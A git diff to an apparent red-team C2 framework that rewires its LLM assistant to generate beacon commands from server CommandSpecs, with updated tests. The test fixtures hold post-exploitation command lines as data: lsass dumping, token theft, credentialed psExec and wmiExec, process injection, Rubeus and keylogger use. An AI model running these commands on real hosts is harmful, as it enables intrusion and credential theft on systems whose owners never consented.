| +| 19 | [-] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Non retenu. Les formulaires depuis schemas assistant sont abandonnes au profit d'une source unique basee sur `CommandSpecs` / `ListCommands`. | +| 20 | [-] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Non retenu pour le moment. Les besoins de capabilities seront re-evalues apres la synchronisation assistant/CommandSpecs et les prochains changements proto réellement necessaires. | | 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 22 | [ ] | Synchroniser l'assistant avec `CommandSpecs` / `ListCommands` | L | Tres fort | L'assistant n'est probablement plus a jour depuis la migration CommandSpec. Le faire charger le catalogue serveur, `GetCommandHelp`, les arguments/artefacts requis, modules charges et capabilities pour construire ses commandes depuis la meme source que la console, au lieu de schemas ou prompts statiques. | +| 22 | [x] | Synchroniser l'assistant avec `CommandSpecs` / `ListCommands` | L | Tres fort | Fait. Les schemas JSON locaux de l'assistant sont supprimes; les tools C2 sont generes au demarrage depuis `ListCommands`, avec `command_template` canonique dans les `CommandSpecs` et un tool `getCommandHelp` branche sur le RPC serveur. L'assistant construit ses schemas/outils depuis les arguments, exemples, plateformes, artefacts et templates serveur. Tests assistant mis a jour et couverture ajoutée pour verifier que chaque CommandSpec repo expose un template assistant-renderable. | | 23 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | | 24 | [x] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Fait cote code. `libSocks5` accepte `ATYP=DName`, le TeamServer transporte `host:` vers la beacon, la beacon resout/connecte depuis son contexte, IPv4 reste compatible, les echecs d'init renvoient un reply SOCKS type au lieu d'un EOF. Tests auto `TestsSocksServer`; validation live `scripts/socks5_stress_test.py --socks-hostname` a refaire sur beacon. | | 25 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index 559503f..7d0b0a6 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -42,8 +42,7 @@ C2Client = [ "DropperModules.conf", "ShellCodeModules.conf", "assistant_agent/prompts/system/*.md", - "assistant_agent/prompts/memory/*.md", - "assistant_agent/tools/schemas/*.json" + "assistant_agent/prompts/memory/*.md" ] [project.scripts] diff --git a/C2Client/tests/assistant_agent/helpers.py b/C2Client/tests/assistant_agent/helpers.py new file mode 100644 index 0000000..5387514 --- /dev/null +++ b/C2Client/tests/assistant_agent/helpers.py @@ -0,0 +1,48 @@ +from __future__ import annotations + +from types import SimpleNamespace + + +def arg( + name: str, + *, + arg_type: str = "text", + required: bool = False, + description: str = "", + values: list[str] | None = None, + variadic: bool = False, + artifact: bool = False, +): + return SimpleNamespace( + name=name, + type=arg_type, + required=required, + description=description or name, + values=values or [], + variadic=variadic, + artifact_filters=[SimpleNamespace(category="tool")] if artifact else [], + ) + + +def command_spec( + name: str, + command_template: str, + args: list | None = None, + *, + description: str | None = None, + examples: list[str] | None = None, +): + return SimpleNamespace( + name=name, + display_name=name, + kind="module", + description=description or f"{name} command", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=args or [], + examples=examples or [], + source="test", + command_template=command_template, + ) diff --git a/C2Client/tests/assistant_agent/test_command_builder.py b/C2Client/tests/assistant_agent/test_command_builder.py index b96f6e1..9b4e818 100644 --- a/C2Client/tests/assistant_agent/test_command_builder.py +++ b/C2Client/tests/assistant_agent/test_command_builder.py @@ -3,110 +3,155 @@ import pytest from C2Client.assistant_agent.tools.command_builder import build_command_line -from C2Client.assistant_agent.tools.loader import C2ToolSpec, load_tool_specs +from C2Client.assistant_agent.tools.command_specs import command_spec_to_tool_spec +from helpers import arg, command_spec -def spec_by_name(name: str) -> C2ToolSpec: - return {spec.name: spec for spec in load_tool_specs()}[name] + +def tool_spec(command): + return command_spec_to_tool_spec(command) def test_build_command_line_quotes_paths_with_spaces(): - assert build_command_line(spec_by_name("cat"), {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Users\\Public\\notes.txt"}) == "cat C:\\Users\\Public\\notes.txt" - assert build_command_line(spec_by_name("ls"), {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Program Files"}) == 'ls "C:\\Program Files"' + cat = tool_spec(command_spec("cat", "cat {path:q}", [arg("path", arg_type="path", required=True)])) + ls = tool_spec(command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")])) + + assert build_command_line(cat, {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Users\\Public\\notes.txt"}) == "cat C:\\Users\\Public\\notes.txt" + assert build_command_line(ls, {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Program Files"}) == "ls 'C:\\Program Files'" def test_build_command_line_supports_raw_command_tail(): + run = tool_spec(command_spec("run", "run {command:raw}", [arg("command", required=True, variadic=True)])) + assert build_command_line( - spec_by_name("run"), + run, {"beacon_hash": "b", "listener_hash": "l", "command": "whoami /all"}, ) == "run whoami /all" def test_build_command_line_omits_empty_optional_argument(): + enumerate_shares = tool_spec(command_spec("enumerateShares", "enumerateShares {host:q?}", [arg("host")])) + ls = tool_spec(command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")])) + assert build_command_line( - spec_by_name("enumerateShares"), + enumerate_shares, {"beacon_hash": "b", "listener_hash": "l", "host": ""}, ) == "enumerateShares" assert build_command_line( - spec_by_name("ls"), + ls, {"beacon_hash": "b", "listener_hash": "l"}, ) == "ls" def test_build_command_line_supports_optional_flag_segments(): + dcom_exec = tool_spec( + command_spec( + "dcomExec", + "dcomExec -h {h:q} -c {c:q} [-a {a:q}] [-n {n:flag}]", + [ + arg("-h", required=True), + arg("-c", required=True), + arg("-a"), + arg("-n"), + ], + ) + ) + assert build_command_line( - spec_by_name("dcomExec"), + dcom_exec, { "beacon_hash": "b", "listener_hash": "l", - "hostname": "host1", - "command": "cmd.exe", - "arguments": "/c whoami", - "no_password": True, + "h": "host1", + "c": "cmd.exe", + "a": "/c whoami", + "n": True, }, - ) == 'dcomExec -h host1 -c cmd.exe -a "/c whoami" -n' - assert build_command_line( - spec_by_name("screenShot"), - {"beacon_hash": "b", "listener_hash": "l"}, - ) == "screenShot" + ) == "dcomExec -h host1 -c cmd.exe -a '/c whoami' -n" def test_build_command_line_rejects_missing_required_argument(): + cat = tool_spec(command_spec("cat", "cat {path:q}", [arg("path", arg_type="path", required=True)])) + with pytest.raises(KeyError): - build_command_line(spec_by_name("cat"), {"beacon_hash": "b", "listener_hash": "l"}) + build_command_line(cat, {"beacon_hash": "b", "listener_hash": "l"}) @pytest.mark.parametrize( - ("name", "arguments", "expected"), + ("command", "arguments", "expected"), [ - ("assemblyExec", {"action": "thread"}, "assemblyExec thread"), - ("cat", {"path": "C:\\Temp\\a.txt"}, "cat C:\\Temp\\a.txt"), - ("cd", {"path": "C:\\Users\\Public"}, "cd C:\\Users\\Public"), - ("chisel", {"binary_path_or_action": "stop", "pid": 1234}, "chisel stop 1234"), - ("cimExec", {"hostname": "host1", "command": "cmd.exe", "arguments": "/c whoami"}, 'cimExec -h host1 -c cmd.exe -a "/c whoami"'), - ("coffLoader", {"coff_file": "whoami.x64.o", "function_name": "go", "packed_arguments": "Zs c:\\ 0"}, "coffLoader whoami.x64.o go Zs c:\\ 0"), - ("dcomExec", {"hostname": "host1", "command": "cmd.exe", "working_dir": "C:\\Windows"}, "dcomExec -h host1 -c cmd.exe -w C:\\Windows"), - ("dotnetExec", {"action": "runDll", "module_name": "lib", "type_or_method": "Run", "arguments": "arg1 arg2"}, "dotnetExec runDll lib Run arg1 arg2"), - ("download", {"remote_path": "C:\\Temp\\a.txt", "local_path": "/tmp/a.txt"}, "download C:\\Temp\\a.txt /tmp/a.txt"), - ("enumerateRdpSessions", {"server": "fileserver"}, "enumerateRdpSessions -s fileserver"), - ("enumerateShares", {"host": "fileserver"}, "enumerateShares fileserver"), - ("evasion", {"action": "ReadMemory", "address": "0x1234", "value": "16"}, "evasion ReadMemory 0x1234 16"), - ("getEnv", {}, "getEnv"), - ("inject", {"payload_type": "--donut-dll", "input_file": "payload.dll", "pid": 4242, "method": "Run", "arguments": "a b"}, "inject --donut-dll payload.dll --pid 4242 --method Run a b"), - ("ipConfig", {}, "ipConfig"), - ("kerberosUseTicket", {"ticket_artifact": "ticket.kirbi"}, "kerberosUseTicket ticket.kirbi"), - ("keyLogger", {"action": "start"}, "keyLogger start"), - ("killProcess", {"pid": 4242}, "killProcess 4242"), - ("listProcesses", {}, "ps"), - ("loadModule", {"module_to_load": "whoami.dll"}, "loadModule whoami.dll"), - ("ls", {}, "ls"), - ("makeToken", {"username": "DOMAIN\\user", "password": "Password123!"}, "makeToken DOMAIN\\user Password123!"), - ("miniDump", {"action": "dump", "path": "lsass.xored"}, "miniDump dump lsass.xored"), - ("mkDir", {"path": "C:\\Temp\\new dir"}, 'mkDir "C:\\Temp\\new dir"'), - ("netstat", {}, "netstat"), - ("powershell", {"command": "whoami | write-output"}, "powershell whoami | write-output"), - ("psExec", {"auth_mode": "-u", "username": "DOMAIN\\user", "password": "pw", "target": "host1", "service_artifact": "svc.exe"}, "psExec -u DOMAIN\\user pw host1 svc.exe"), - ("pwSh", {"action": "run", "command_or_script": "Get-Process"}, "pwSh run Get-Process"), - ("pwd", {}, "pwd"), - ("registry", {"operation": "set", "root_key": "HKLM", "sub_key": "Software\\Acme", "value_name": "Path", "value_data": "C:/Temp", "value_type": "REG_SZ"}, "registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ"), - ("remove", {"path": "C:\\Temp\\old.txt"}, "remove C:\\Temp\\old.txt"), - ("rev2self", {}, "rev2self"), - ("reversePortForward", {"remote_port": 8080, "local_host": "127.0.0.1", "local_port": 80}, "reversePortForward 8080 127.0.0.1 80"), - ("run", {"command": "whoami /all"}, "run whoami /all"), - ("screenShot", {}, "screenShot"), - ("script", {"script_path": "/tmp/test.sh"}, "script /tmp/test.sh"), - ("shell", {"command": "ls -la"}, "shell ls -la"), - ("spawnAs", {"domain": "DOMAIN", "username": "user", "password": "pw", "net_only": True, "command": "cmd.exe /c whoami"}, "spawnAs -d DOMAIN --netonly user pw -- cmd.exe /c whoami"), - ("sshExec", {"host": "host1", "username": "user", "password": "pw", "command": "id"}, "sshExec -h host1 -u user -p pw -- id"), - ("stealToken", {"pid": 4242}, "stealToken 4242"), - ("taskScheduler", {"command": "cmd.exe", "arguments": "/c whoami", "skip_run": True, "keep_task": True}, 'taskScheduler -c cmd.exe -a "/c whoami" --no-run --nocleanup'), - ("tree", {}, "tree"), - ("upload", {"local_path": "/tmp/a.txt", "remote_path": "C:\\Temp\\a.txt"}, "upload /tmp/a.txt C:\\Temp\\a.txt"), - ("whoami", {}, "whoami"), - ("winRm", {"auth_mode": "-n", "target": "host1", "command": "whoami"}, "winRm -n host1 whoami"), - ("wmiExec", {"auth_mode": "-k", "dc": "dc1", "target": "host1", "command": "whoami"}, "wmiExec -k dc1 host1 whoami"), + ( + command_spec( + "assemblyExec", + "assemblyExec [--mode {mode}] [--donut-exe {donut_exe:q}] [--method {method:q}] [-- {arguments:raw}]", + [ + arg("--mode", values=["thread", "process"]), + arg("--donut-exe", artifact=True), + arg("--method"), + arg("arguments", variadic=True), + ], + ), + {"mode": "process", "donut_exe": "Rubeus.exe", "arguments": "triage"}, + "assemblyExec --mode process --donut-exe Rubeus.exe -- triage", + ), + ( + command_spec( + "inject", + "inject --pid {pid} [--donut-exe {donut_exe:q}] [-- {arguments:raw}]", + [ + arg("--pid", arg_type="number", required=True), + arg("--donut-exe", artifact=True), + arg("arguments", variadic=True), + ], + ), + {"pid": -1, "donut_exe": "BeaconHttp.exe", "arguments": "arg1 arg2"}, + "inject --pid -1 --donut-exe BeaconHttp.exe -- arg1 arg2", + ), + ( + command_spec( + "registry", + "registry {operation} -h {h:q} -k {k:q} [-n {n:q}]", + [ + arg("operation", values=["query", "set"], required=True), + arg("-h", required=True), + arg("-k", required=True), + arg("-n"), + ], + ), + {"operation": "query", "h": "HKCU", "k": "Software\\C2", "n": "Smoke"}, + "registry query -h HKCU -k Software\\C2 -n Smoke", + ), + ( + command_spec( + "spawnAs", + "spawnAs [--no-profile {no_profile:flag}] {username:q} {password:q} -- {command:raw}", + [ + arg("--no-profile"), + arg("username", required=True), + arg("password", required=True), + arg("command", required=True, variadic=True), + ], + ), + {"no_profile": True, "username": ".\\c2test", "password": "pw", "command": "cmd.exe /c whoami"}, + "spawnAs --no-profile .\\c2test pw -- cmd.exe /c whoami", + ), + ( + command_spec( + "sshExec", + "sshExec -h {h:q} [-P {P}] -u {u:q} -p {p:q} -- {command:raw}", + [ + arg("-h", required=True), + arg("-P", arg_type="number"), + arg("-u", required=True), + arg("-p", required=True), + arg("command", required=True, variadic=True), + ], + ), + {"h": "server", "P": 2222, "u": "admin", "p": "pw", "command": "/bin/id"}, + "sshExec -h server -P 2222 -u admin -p pw -- /bin/id", + ), ], ) -def test_build_command_lines_cover_core_module_init_forms(name, arguments, expected): +def test_build_command_lines_from_command_spec_templates(command, arguments, expected): arguments = {"beacon_hash": "b", "listener_hash": "l", **arguments} - assert build_command_line(spec_by_name(name), arguments) == expected + assert build_command_line(tool_spec(command), arguments) == expected diff --git a/C2Client/tests/assistant_agent/test_command_help_tool.py b/C2Client/tests/assistant_agent/test_command_help_tool.py new file mode 100644 index 0000000..c25a08b --- /dev/null +++ b/C2Client/tests/assistant_agent/test_command_help_tool.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.command_help_tool import C2CommandHelpTool +from C2Client.grpcClient import TeamServerApi_pb2 + + +class StubGrpc: + def __init__(self): + self.requests = [] + self.reject = False + + def getCommandHelp(self, request): + self.requests.append(request) + if self.reject: + return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Unknown command.", help="") + return SimpleNamespace(status=TeamServerApi_pb2.OK, message="", help="sleep\nUsage: sleep ") + + +def test_command_help_tool_calls_teamserver_help_rpc(): + grpc = StubGrpc() + tool = C2CommandHelpTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "command": "sleep", + }, + context=None, + ) + + assert result.ok is True + assert "Usage: sleep" in result.content + assert grpc.requests[0].session.beacon_hash == "beacon-12345678" + assert grpc.requests[0].session.listener_hash == "listener-12345678" + assert grpc.requests[0].command == "help sleep" + + +def test_command_help_tool_can_fetch_specific_help_without_session_hashes(): + grpc = StubGrpc() + tool = C2CommandHelpTool(grpc) + + result = tool.execute({"command": "screenShot"}, context=None) + + assert result.ok is True + assert grpc.requests[0].session.beacon_hash == "" + assert grpc.requests[0].session.listener_hash == "" + assert grpc.requests[0].command == "help screenShot" + + +def test_command_help_tool_returns_teamserver_error(): + grpc = StubGrpc() + grpc.reject = True + tool = C2CommandHelpTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "command": "missing", + }, + context=None, + ) + + assert result.ok is False + assert result.content == "Unknown command." diff --git a/C2Client/tests/assistant_agent/test_command_specs.py b/C2Client/tests/assistant_agent/test_command_specs.py new file mode 100644 index 0000000..5452001 --- /dev/null +++ b/C2Client/tests/assistant_agent/test_command_specs.py @@ -0,0 +1,104 @@ +from __future__ import annotations + +import json +import re +from pathlib import Path +from types import SimpleNamespace + +import pytest + +from C2Client.assistant_agent.tools.command_specs import command_arg_property_name, command_spec_to_tool_spec, load_command_tool_specs + +from helpers import arg, command_spec + +_PLACEHOLDER_RE = re.compile(r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?:raw|q|flag))?\??\}") + + +class StubGrpc: + def __init__(self, commands): + self.commands = commands + self.queries = [] + + def listCommands(self, query): + self.queries.append(query) + return iter(self.commands) + + +def test_command_specs_are_loaded_from_teamserver_list_commands(): + grpc = StubGrpc( + [ + command_spec("whoami", "whoami"), + command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + ] + ) + + specs = load_command_tool_specs(grpc) + + assert [spec.name for spec in specs] == ["ls", "whoami"] + assert len(grpc.queries) == 1 + assert all(spec.command_template for spec in specs) + + +def test_command_spec_tool_schema_is_derived_from_template_and_args(): + spec = command_spec_to_tool_spec( + command_spec( + "assemblyExec", + "assemblyExec [--mode {mode}] [--donut-exe {donut_exe:q}] [-- {arguments:raw}]", + [ + arg("--mode", values=["thread", "process"]), + arg("--donut-exe", arg_type="artifact", artifact=True), + arg("source_path", arg_type="path", required=True), + arg("arguments", variadic=True), + ], + examples=["assemblyExec --mode process --donut-exe Rubeus.exe -- triage"], + ) + ) + + assert spec.parameters["required"] == ["beacon_hash", "listener_hash"] + assert spec.parameters["properties"]["mode"]["enum"] == ["thread", "process"] + assert "donut_exe" in spec.parameters["properties"] + assert "source_path" not in spec.parameters["properties"] + assert "TeamServer" in spec.description or "Template:" in spec.description + + +def test_command_spec_rejects_missing_command_template(): + with pytest.raises(ValueError, match="command_template"): + command_spec_to_tool_spec(command_spec("ls", "")) + + +def test_command_arg_property_names_are_stable_for_flags(): + assert command_arg_property_name(arg("--donut-exe")) == "donut_exe" + assert command_arg_property_name(arg("-P")) == "P" + assert command_arg_property_name(arg("remote_path")) == "remote_path" + + +def test_repository_command_specs_have_assistant_render_templates(): + repo_root = Path(__file__).resolve().parents[3] + paths = sorted((repo_root / "core/modules").glob("*/*.json")) + paths += sorted((repo_root / "core/modules/ModuleCmd/CommandSpecs/common").glob("*.json")) + + assert paths + for path in paths: + payload = json.loads(path.read_text(encoding="utf-8")) + template = str(payload.get("command_template", "")).strip() + assert template, f"{path} is missing command_template" + assert template.split()[0] == payload["name"], f"{path} template must start with the command name" + + arg_properties = { + command_arg_property_name(SimpleNamespace(name=arg_payload.get("name", ""))) + for arg_payload in payload.get("args", []) + } + unknown = { + match.group("name") + for match in _PLACEHOLDER_RE.finditer(template) + if match.group("name") not in arg_properties + } + assert not unknown, f"{path} has template placeholders without matching args: {sorted(unknown)}" + + placeholders = {match.group("name") for match in _PLACEHOLDER_RE.finditer(template)} + omitted_required = { + arg_payload.get("name", "") + for arg_payload in payload.get("args", []) + if arg_payload.get("required") and command_arg_property_name(SimpleNamespace(name=arg_payload.get("name", ""))) not in placeholders + } + assert omitted_required <= {"source_path"}, f"{path} omits required args from template: {sorted(omitted_required)}" diff --git a/C2Client/tests/assistant_agent/test_command_tool.py b/C2Client/tests/assistant_agent/test_command_tool.py index 0189d8a..36b6d44 100644 --- a/C2Client/tests/assistant_agent/test_command_tool.py +++ b/C2Client/tests/assistant_agent/test_command_tool.py @@ -3,14 +3,20 @@ from types import SimpleNamespace from C2Client.assistant_agent.tools.command_tool import C2CommandTool -from C2Client.assistant_agent.tools.loader import load_tool_specs +from C2Client.assistant_agent.tools.command_specs import command_spec_to_tool_spec from C2Client.grpcClient import TeamServerApi_pb2 +from helpers import arg, command_spec + class StubGrpc: def __init__(self): self.commands = [] self.reject = False + self.modules = [ + SimpleNamespace(name="ls", state="loaded"), + SimpleNamespace(name="whoami", state="loaded"), + ] def sendSessionCommand(self, command): self.commands.append(command) @@ -18,9 +24,16 @@ def sendSessionCommand(self, command): return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Session not found.") return SimpleNamespace(status=TeamServerApi_pb2.OK, message=b"", command_id=command.command_id) + def listModules(self, session): + return iter(self.modules) + def spec_by_name(name): - return {spec.name: spec for spec in load_tool_specs()}[name] + commands = { + "ls": command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + "whoami": command_spec("whoami", "whoami"), + } + return command_spec_to_tool_spec(commands[name]) def test_c2_command_tool_sends_command_and_returns_pending(): @@ -37,11 +50,11 @@ def test_c2_command_tool_sends_command_and_returns_pending(): ) assert result.pending is True - assert result.metadata["command_line"] == 'ls "C:\\Program Files"' + assert result.metadata["command_line"] == "ls 'C:\\Program Files'" assert result.metadata["command_id"] assert grpc.commands[0].session.beacon_hash == "beacon-12345678" assert grpc.commands[0].session.listener_hash == "listener-12345678" - assert grpc.commands[0].command == 'ls "C:\\Program Files"' + assert grpc.commands[0].command == "ls 'C:\\Program Files'" assert grpc.commands[0].command_id == result.metadata["command_id"] @@ -61,3 +74,23 @@ def test_c2_command_tool_returns_error_when_command_is_rejected(): assert result.ok is False assert result.pending is False assert result.content == "Session not found." + + +def test_c2_command_tool_rejects_unloaded_module_before_sending(): + grpc = StubGrpc() + grpc.modules = [] + tool = C2CommandTool(spec_by_name("ls"), grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "path": "C:\\Program Files", + }, + context=None, + ) + + assert result.ok is False + assert result.pending is False + assert "loadModule ls" in result.content + assert grpc.commands == [] diff --git a/C2Client/tests/assistant_agent/test_domain_hooks.py b/C2Client/tests/assistant_agent/test_domain_hooks.py index 667e26e..aba61ad 100644 --- a/C2Client/tests/assistant_agent/test_domain_hooks.py +++ b/C2Client/tests/assistant_agent/test_domain_hooks.py @@ -15,6 +15,7 @@ def test_domain_hooks_render_sessions_and_recent_observations(): privilege="high", os_name="windows", ) + hooks.record_active_session(beacon_hash="beacon", listener_hash="listener") for index in range(12): hooks.record_console_observation( beacon_hash="beacon", @@ -25,6 +26,93 @@ def test_domain_hooks_render_sessions_and_recent_observations(): rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + assert "Active selected session: short_beacon=beacon, beacon_hash=beacon" in rendered assert "beacon_hash=beacon" in rendered assert "cmd-2" in rendered assert "command=cmd-1," not in rendered + + +def test_domain_hooks_do_not_keep_killed_session_active(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="beacon", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="high", + os_name="windows", + ) + hooks.record_active_session(beacon_hash="beacon", listener_hash="listener") + + hooks.record_session_event( + action="update", + beacon_hash="beacon", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="high", + os_name="windows", + killed=True, + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: none" in rendered + assert "Killed sessions are invalid targets" in rendered + + +def test_domain_hooks_use_only_live_session_as_effective_active_session(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: short_beacon=mzBlbIj3" in rendered + assert "Use this session for current beacon/current session requests" in rendered + assert "Match short operator references like `mz`" in rendered + + +def test_domain_hooks_use_recent_live_console_observation_as_effective_active_session(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="old", + listener_hash="listener-old", + hostname="old-host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + hooks.record_session_event( + action="start", + beacon_hash="new", + listener_hash="listener-new", + hostname="new-host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + hooks.record_console_observation( + beacon_hash="new", + listener_hash="listener-new", + command="ls", + output="ok", + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: short_beacon=new, beacon_hash=new" in rendered diff --git a/C2Client/tests/assistant_agent/test_module_state_tool.py b/C2Client/tests/assistant_agent/test_module_state_tool.py new file mode 100644 index 0000000..640a6ec --- /dev/null +++ b/C2Client/tests/assistant_agent/test_module_state_tool.py @@ -0,0 +1,45 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.module_state_tool import C2LoadedModulesTool, has_loaded_module + + +class StubGrpc: + def __init__(self): + self.sessions = [] + self.modules = [ + SimpleNamespace(name="ls", state="loaded"), + SimpleNamespace(name="pwd", state="loading"), + ] + + def listModules(self, session): + self.sessions.append(session) + return iter(self.modules) + + +def test_loaded_modules_tool_formats_loaded_modules(): + grpc = StubGrpc() + tool = C2LoadedModulesTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + }, + context=None, + ) + + assert result.ok is True + assert "ls" in result.content + assert "pwd" in result.content + assert grpc.sessions[0].beacon_hash == "beacon-12345678" + assert grpc.sessions[0].listener_hash == "listener-12345678" + + +def test_has_loaded_module_requires_loaded_state(): + grpc = StubGrpc() + + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="ls") is True + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="pwd") is False + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="cat") is False diff --git a/C2Client/tests/assistant_agent/test_prompt_loading.py b/C2Client/tests/assistant_agent/test_prompt_loading.py index 2ad2ce9..077b75f 100644 --- a/C2Client/tests/assistant_agent/test_prompt_loading.py +++ b/C2Client/tests/assistant_agent/test_prompt_loading.py @@ -15,6 +15,7 @@ def test_prompt_files_are_loaded_into_settings(tmp_path, monkeypatch): assert "durable operational memory" in settings.session_summary_synthesis_prompt assert "Merge the previous session summary" in settings.session_summary_merge_prompt assert settings.memory_model == DEFAULT_MEMORY_MODEL + assert settings.max_active_context_tokens == 64000 def test_memory_model_can_be_configured_independently(tmp_path, monkeypatch): @@ -49,6 +50,8 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): "C2_ASSISTANT_MODEL=main-from-file", "C2_ASSISTANT_MEMORY_MODEL=memory-from-file", "C2_ASSISTANT_MAX_TOOL_CALLS=3", + "C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS=32000", + "C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS=true", ] ), encoding="utf-8", @@ -58,6 +61,8 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): monkeypatch.delenv("C2_ASSISTANT_MODEL", raising=False) monkeypatch.delenv("C2_ASSISTANT_MEMORY_MODEL", raising=False) monkeypatch.delenv("C2_ASSISTANT_MAX_TOOL_CALLS", raising=False) + monkeypatch.delenv("C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS", raising=False) + monkeypatch.delenv("C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS", raising=False) settings = build_c2_agent_settings(storage_dir=tmp_path) @@ -65,3 +70,5 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): assert settings.model == "main-from-file" assert settings.memory_model == "memory-from-file" assert settings.max_tool_calls_per_turn == 3 + assert settings.max_active_context_tokens == 32000 + assert settings.log_synthesis_payloads is True diff --git a/C2Client/tests/assistant_agent/test_service_bootstrap.py b/C2Client/tests/assistant_agent/test_service_bootstrap.py index d5b8e3d..7cb235a 100644 --- a/C2Client/tests/assistant_agent/test_service_bootstrap.py +++ b/C2Client/tests/assistant_agent/test_service_bootstrap.py @@ -3,12 +3,29 @@ from types import SimpleNamespace from C2Client.assistant_agent.domain.service import C2AssistantAgent -from C2Client.assistant_agent.tools.loader import load_tool_specs + +from helpers import command_spec def test_service_bootstrap_registers_only_c2_tools(tmp_path): - service = C2AssistantAgent(SimpleNamespace(sendSessionCommand=lambda command: None), storage_dir=tmp_path) - expected_names = sorted(spec.name for spec in load_tool_specs()) + grpc = SimpleNamespace( + listCommands=lambda query: iter([ + command_spec("whoami", "whoami"), + command_spec("pwd", "pwd"), + ]), + sendSessionCommand=lambda command: None, + getCommandHelp=lambda command: None, + listModules=lambda session: iter([]), + listSessions=lambda: iter([]), + ) + + service = C2AssistantAgent(grpc, storage_dir=tmp_path) - assert service.orchestrator.registry.list_tool_names() == expected_names + assert service.orchestrator.registry.list_tool_names() == [ + "getCommandHelp", + "listLiveSessions", + "listLoadedModules", + "pwd", + "whoami", + ] assert service.session_manager.session_id == "default" diff --git a/C2Client/tests/assistant_agent/test_session_state_tool.py b/C2Client/tests/assistant_agent/test_session_state_tool.py new file mode 100644 index 0000000..7f1d063 --- /dev/null +++ b/C2Client/tests/assistant_agent/test_session_state_tool.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.session_state_tool import C2LiveSessionsTool, list_sessions + + +class StubGrpc: + def __init__(self): + self.sessions = [ + SimpleNamespace( + beacon_hash="mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + listener_hash="listener-live", + hostname="desktop", + username="max", + arch="x64", + os="windows", + killed=False, + ), + SimpleNamespace( + beacon_hash="deadbeef", + listener_hash="listener-dead", + hostname="old", + username="max", + arch="x64", + os="windows", + killed=True, + ), + ] + + def listSessions(self): + return iter(self.sessions) + + +def test_live_sessions_tool_formats_live_sessions_and_short_hashes(): + tool = C2LiveSessionsTool(StubGrpc()) + + result = tool.execute({"beacon_prefix": "mz"}, context=None) + + assert result.ok is True + assert "mzBlbIj3" in result.content + assert "mzBlbIj35qewE7Rpa51oRltFoaNahMJB" in result.content + assert "listener-live" in result.content + assert "deadbeef" not in result.content + + +def test_list_sessions_can_include_killed_sessions(): + sessions = list_sessions(StubGrpc(), include_killed=True) + + assert [session.beacon_hash for session in sessions] == [ + "mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + "deadbeef", + ] diff --git 